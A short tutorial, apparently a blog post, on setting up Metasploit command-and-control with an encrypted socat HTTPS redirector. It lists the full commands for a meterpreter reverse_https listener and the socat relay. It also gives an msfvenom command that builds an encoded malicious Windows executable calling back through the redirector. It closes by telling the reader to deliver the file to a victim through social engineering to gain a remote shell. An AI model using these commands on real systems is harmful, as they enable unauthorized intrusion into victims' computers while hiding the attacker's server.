Secure and encrypt C2 setup with redirectors

this post will teach you how to setup a simple red team c2 infrastructure with encrypted socat HTTPS redirectors

Requirements:

Attacker C2 Server:  Kali with metasploit

Redirector Server: Ubuntu with socat

Victim Machine: Windows10

1.First open metasploit  with msfconsole and lets start setup our server

2.Set up the variables

use exploit/multi/handler

set payload windows/meterpreter/reverse_https

LHOST=Your Local IP Address

LPORT=443

1.Second lets setup up the ubuntu redirector machine

2.Download so cat with sudo apt install socat

3.Now start the redirector with socat TCP4-LISTEN:443,fork TCP4:Your_Local_IP_Address:443

1.Now lets generate a payload with msfvenom -p windows/meterpreter/reverse_https LHOST=Your_Redirector_IP_Address LPORT=443 -e x86/shikata_ga_nai -i 10 -f exe > malicous.exe

2.Send the payload in any social engineering you want to the victim

3. After the victim execute the payload you will have a https shell that routing the traffic via the redirector